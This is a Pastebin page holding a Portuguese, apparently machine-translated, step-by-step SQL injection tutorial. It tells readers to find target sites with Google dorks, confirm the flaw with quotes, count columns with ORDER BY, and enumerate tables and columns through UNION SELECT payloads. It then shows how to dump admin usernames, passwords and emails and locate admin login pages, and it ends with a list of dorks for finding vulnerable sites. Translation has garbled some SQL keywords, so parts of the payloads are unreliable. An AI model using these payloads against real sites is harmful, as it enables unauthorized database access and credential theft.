Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Aqui você vai encontrar um relatório muito detalhado, passo a passo tutorial escrito por mim (PhortyPhour) na injeção SQL. Isto é puramente para fins educacionais e é para ser usado a critério do leitor.
- Primeiro temos que saber o que a injeção de SQL é exatamente.
- injeção de SQL é uma técnica de injeção de código que explora uma vulnerabilidade de segurança que ocorrem na camada de banco de dados de uma aplicação. A vulnerabilidade está presente quando a entrada do usuário ou é filtrada incorretamente para cordas caracteres de escape literais incorporados em instruções SQL ou a entrada do usuário não é fortemente tipado e, assim, inesperadamente executado. É uma instância de uma classe mais geral de vulnerabilidades que podem ocorrer sempre que uma programação ou linguagem de script é incorporado dentro de outro. ataques de injeção SQL são também conhecidos como ataques de inserção SQL.
- Esse é o primeiro parágrafo da página da Wikipedia para SQLi (injeção de SQL) encontrada aqui:
- http://en.wikipedia.org/wiki/SQL_injection
- Aconselho a leitura da página inteira.
- O que é coberto neste tutorial?
- Part One - Avaliação Site
- Seção Um - Encontrar um website vulneráveis
- Seção Dois - Determinar a quantidade de colunas
- Seção Três - Finding quais colunas são vulneráveis
- Part Two - recolhendo informações
- Seção Um - Determinar a versão SQL
- Seção Dois - Encontrar o banco de dados
- Parte III - The Good Stuff
- Seção Um - Encontrar os nomes de tabela
- Seção Dois - Encontrar os nomes de coluna
- Seção Três - Exibindo o conteúdo da coluna
- Seção Quatro - Encontrar a página de administração
- Agora vamos começar.
- Part One - Avaliação Site
- A fim de começarmos a explorar um site é preciso primeiro saber exatamente o que estamos injetando. Isto é o que vamos fazer a cobertura na primeira parte, juntamente com a forma de avaliar as informações que recolhemos.
- Seção Um - Encontrar um website vulneráveis
- sites vulneráveis podem ser encontrados usando dorks (I incluirá uma lista no final deste tutorial), quer no Google ou com um scanner de explorar. Para aqueles de vocês que não estão familiarizados com o termo "dorks", vou tentar explicar.
- Dorks são URLs de sites que são conhecidos por serem vulneráveis. Na injeção SQL estas dorks parecido com este:
- Código:
- inurl:? buy.php id =
- Isso vai ser introduzido num motor de busca e por causa da "inurl:" parte do dork, o motor de busca irá retornar resultados com URLs que contêm os mesmos personagens. Alguns dos locais que têm este idiota em seu site pode ser vulnerável a injeção de SQL.
- Agora vamos dizer que encontramos a página:
- Código:
- http://www.site.com/buy.php?id=1
- A fim de testar este site tudo o que precisamos fazer é adicionar um "quer entre o sinal" = "eo" 1 "ou após o" 1 "para que ele se parece com isso:
- Código:
- http://www.site.com/buy.php?id=1 '
- ou
- http://www.site.com/buy.php?id='1
- Depois de pressionar enter, se este site devolve um erro, como o seguinte:
- Código:
- Warning: mysql_fetch_array (): o argumento fornecido não é um recurso de resultado MySQL válido no /home1/michafj0/public_html/gallery.php na linha 7
- Ou algo nesse sentido, isso significa que é vulnerável a injeção.
- No caso onde você está para encontrar um site como este:
- Código:
- http://www.site.com/buy.php?id=1&dog;catid=2
- Em seguida, você deve usar a mesma técnica com a adição de um "exceto que ele deve estar entre o valor (neste caso, o número) e do operador (o sinal" = ") para que ele se parece com isso:
- Código:
- http://www.site.com/buy.php?id='1&dog;catid='2
- Existem programas que vão fazer isso para você, mas para começar eu gostaria de sugerir simplesmente para fazer as coisas manualmente, usando o Google, e por isso não vou postar qualquer para vocês. Se você se sente tão obrigado a usar um de qualquer maneira. Eu recomendo o Scanner Exploit por Reiluke.
- Seção Dois - Determinar a quantidade de colunas
- A fim de sermos capazes de usar comandos e obter resultados, devemos saber quantas colunas existem em um site. Então, para encontrar o número de colunas, devemos usar um método muito complexo e avançado que eu gosto de chamar de "tentativa e erro" com o comando ORDER BY Biggrin
- NOTA: O SQL não importa se ou não suas cartas são capitalizados ou não e eu estou apenas fazendo isso por clareza, por tudo o que importa suas consultas poderia ser assim:
- Código:
- http://www.site.com/buy.php?id=-1 PODE I HAZ Teh senhas? PLZ aNd ThX
- NÃO IMPORTA (btw por favor, não acho que foi um comando real).
- Então, de volta ao comando ORDER BY. Para encontrar o número de colunas que escrever uma consulta com incrementar valores até que teremos um erro, como este:
- Código:
- http://www.site.com/buy.php?id=1 ORDER BY 1-- <--- Nenhum erro
- http://www.site.com/buy.php?id=1 ORDER BY 2-- <--- Nenhum erro
- http://www.site.com/buy.php?id=1 ORDER BY 3-- <--- Nenhum erro
- http://www.site.com/buy.php?id=1 ORDER BY 4-- <--- Nenhum erro
- http://www.site.com/buy.php?id=1 ORDER BY 5-- <--- ERRO!
- Isto significa que existem quatro colunas!
- NÃO esqueça de incluir o NULL duplo (-) depois que a consulta.
- MUITO IMPORTANTE!
- Seção Três - Finding quais colunas são vulneráveis
- Então, nós sabemos que existem quatro colunas agora temos que descobrir quais são vulneráveis a injeção. Para fazer isso usamos a UNIÃO e SELECT consultas, mantendo o nulo duplo (-) no final da cadeia. Há também uma outra diferença que é pequeno em tamanho, mas não em importância, veja se você pode manchá-lo.
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
- Se você não podia detectar a diferença, é o nulo extra entre o sinal "=" eo valor (o número).
- buy.php? id = -1
- Agora, depois de introduzir essa consulta você deve ser capaz de ver alguns números em algum lugar na página que parece fora do lugar. Esses são os números das colunas que são vulneráveis a injeção. Podemos usar essas colunas para extrair informações do banco de dados que veremos na segunda parte.
- Part Two - recolhendo informações
- Nesta parte, vamos descobrir como encontrar o nome do banco de dados e qual a versão do SQL do site está usando usando consultas para explorar o site.
- Seção Um - Determinar a versão SQL.
- Encontrar a versão do SQL do site é um passo muito importante, porque os passos a tomar para a versão 4 são bastante diferentes da versão 5, a fim de obter o que deseja. Neste tutorial, eu não vou estar cobrindo a versão 4 porque é realmente um jogo de adivinhação e para o tipo de sites que ainda estão a usá-lo, não vale a pena o seu tempo.
- Se olharmos para trás para o fim da Seção Três na primeira parte, vimos como encontrar as colunas vulneráveis. Com essa informação, podemos montar a nossa próxima consulta (eu vou estar usando coluna 2). O comando deve ficar assim:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, @@ version, 3,4--
- Porque 2 é a coluna vulneráveis, isto é onde vamos colocar "@@ version". Outra seqüência que poderia substituir "@@ version" é "version ()".
- Se o site ainda não exibe a versão tente usar unhex (hex ()), que se parece com isso:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, unhex (hex (@@ version)), 3,4--
- NOTA: Se este método deve ser utilizado aqui, ela deve ser utilizada para o resto da injecção, bem.
- Agora o que você quer ver é algo ao longo destas linhas:
- Código:
- 5.1.47-community-log
- Que é a versão do SQL para o site.
- NOTA: Se você ver a versão 4 e você gostaria de ter um ir para lá, há outros tutoriais que explicam como injectar-lo.
- Seção Dois - Encontrar o banco de dados
- Encontrar o nome do banco de dados nem sempre é um passo necessário para levar para reunir as informações que deseja, no entanto, na minha experiência folllowing estes passos e encontrar o banco de dados pode, por vezes, levar a uma maior taxa de sucesso.
- Para encontrar o banco de dados que usa uma consulta como a mostrada abaixo:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (schema_name), 3,4 a partir information_schema.schemata--
- Isso às vezes pode retornar mais resultados do que o necessário e por isso que é quando passar a esta consulta em vez disso:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, concat (banco de dados ()), 3,4--
- Parabéns! Você agora tem o nome do banco de dados! Copiar e colar o nome em algum lugar seguro, nós vamos precisar dele para mais tarde.
- Parte III - The Good Stuff
- Esta é a parte divertida, onde vamos encontrar os nomes de usuário, e-mails e senhas!
- Seção Um - Encontrar os nomes de tabela
- Para encontrar os nomes de tabela que usamos uma consulta que é semelhante ao utilizado para encontrar o banco de dados com um pouco extra adicionado em:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (table_name), 3,4 de information_schema.tables ONDE table_schema = banco de dados () -
- Pode parecer longo e confuso, mas uma vez que você compreendê-lo, ele realmente não é assim que eu vou tentar explicar. O que esta consulta faz é que "grupos" (GROUP_CONCAT) os "nomes de tabela" (table_name) juntos e reúne as informações "de" (DE) information_schema.tables onde o "esquema de tabela" (table_schema) podem ser encontrados no "banco de dados "(base de dados ()).
- NOTA: Enquanto estiver usando group_concat você só será capaz de ver 1024 caracteres no valor de mesas por isso, se você perceber que uma mesa é cortado na extremidade passar a limitar que vou explicar agora.
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 de information_schema.tables ONDE table_schema = banco de dados () LIMIT 0,1--
- O que isto significa é que mostra a primeira e única da primeira tabela. Então, se nós estávamos a correr para fora de caracteres em digamos que a tabela 31 podemos usar esta consulta:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 de information_schema.tables ONDE table_schema = banco de dados () LIMIT 30,1--
- Observe como o meu limite era de 30,1, em vez de 31,1? Isto é porque quando se utiliza limite é iniciado a partir de 0,1 o que significa que o 30 é, na verdade, a língua 31
- Você tem agora todos os nomes de tabela!
- Seção Dois - Encontrar os nomes de coluna
- Agora que você tem todos os nomes de tabela e tentar escolher o que você acha que deve conter a informação suculenta. Normalmente eles são tabelas como usuário (s), Administração (s), tblUser (s) e assim por diante, mas isso varia entre sites.
- Depois de decidir qual tabela você acha que contém as informações, use esta consulta (no meu exemplo, eu estarei usando o nome da tabela "Admin"):
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 de INFORMATION_SCHEMA.COLUMNS onde table_name = "Admin" -
- Isto quer dar-lhe uma lista de todas as colunas dentro da tabela ou dar-lhe um erro, mas não entre em pânico se é resultado # 2! Tudo isto significa é que Magic Quotes é ligado. Isto pode ser contornado usando um hex ou conversor char (ambos trabalham) para converter o texto normal em char ou hex (um link para um site que faz isso será incluído no final do tutorial).
- UPDATE: Se você receber um erro neste momento tudo o que você deve fazer é seguir estes passos:
- 1. Copie o nome da tabela que você está tentando acessar.
- 2. Cole o nome da tabela para este site onde diz "Diga Olá a meu amigo pequeno".
- Hex / Char Converter
- http://www.swingnote.com/tools/texttohex.php
- 3. Clique em Converter.
- 4. Copie a sequência de números / letras sob Hex em sua consulta para que ele se parece com isso:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 de INFORMATION_SCHEMA.COLUMNS onde table_name = 0x41646d696e--
- Observe como antes de eu colei o hex eu adicionei um "0x", tudo isso faz é informa ao servidor que os seguintes personagens são parte de uma cadeia hexadecimal.
- Agora você deve ver uma lista de todas as colunas dentro da tabela, como nome de usuário, senha e e-mail.
- NOTA: Usando a função de limite funciona com colunas também.
- Seção Três - Exibindo o conteúdo da coluna
- Estamos quase terminando! Tudo o que temos a fazer é ver o que está dentro dessas colunas e usar as informações para acessar! Para ver as colunas que precisamos para decidir quais as que quer ver e, em seguida, usar essa consulta (neste exemplo, eu quero ver o colunas "username", "password" e "email", e meu nome de banco de dados será "db123 "). Este é o lugar onde o nome do banco vem a calhar:
- Código:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (username, 0x3a, password, 0x3a, email), 3,4 DE db123.Admin--
- Nesta consulta, 0x3a é o valor hexadecimal de dois pontos (:), que irá agrupar o usuário: senha: e-mail para os usuários individuais apenas como aquele.
- FINALMENTE! Agora você tem as informações de login para os usuários do site, incluindo o administrador. Tudo que você tem a fazer agora é encontrar a página de login do administrador que nos traz a Seção Quatro.
- Seção Quatro - Encontrar a página de administração
- Normalmente, a página de administração será diretamente fora da home page do site, aqui estão alguns exemplos:
- Código:
- http://www.site.com/admin
- http://www.site.com/adminlogin
- http://www.site.com/modlogin
- http://www.site.com/moderator
- Mais uma vez, existem programas que vão encontrar a página para você, mas primeiro tente algumas das suposições básicas, que poderia poupar-lhe um par de cliques. Se você usar um programa Reiluke foi codificado um para isso também. Pesquisar Administrador Finder Reiluke.
- E que conlcudes meu tutorial! Espero que tenha sido útil para alguns de vocês. Lembre-se de manter praticando e, eventualmente, você vai ter todas as consultas memorizadas em nenhum momento!
- Comentar e avaliar!
- Dê o crédito onde o crédito é devido!
- Eu mantenho minhas promessas então aqui é o que eu disse que eu iria incluir:
- Dork List
- trainers.php?id=
- article.php?ID=
- play_old.php?id=
- declaration_more.php?decl_id=
- Pageid=
- games.php?id=
- newsDetail.php?id=
- staff_id=
- historialeer.php?num=
- product-item.php?id=
- news_view.php?id=
- humor.php?id=
- communique_detail.php?id=
- sem.php3?id=
- opinions.php?id=
- spr.php?id=
- pages.php?id=
- chappies.php?id=
- prod_detail.php?id=
- viewphoto.php?id=
- view.php?id=
- website.php?id=
- hosting_info.php?id=
- gery.php?id=
- detail.php?ID=
- publications.php?id=
- Productinfo.php?id=
- releases.php?id=
- ray.php?id=
- produit.php?id=
- pop.php?id=
- shopping.php?id=
- productdetail.php?id=
- post.php?id=
- section.php?id=
- theme.php?id=
- page.php?id=
- shredder-categories.php?id=
- product_ranges_view.php?ID=
- shop_category.php?id=
- channel_id=
- newsid=
- news_display.php?getid=
- ages.php?id=
- clanek.php4?id=
- review.php?id=
- iniziativa.php?in=
- curriculum.php?id=
- labels.php?id=
- look.php?ID=
- galeri_info.php?l=
- tekst.php?idt=
- newscat.php?id=
- newsticker_info.php?idn=
- rubrika.php?idr=
- offer.php?idf=
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement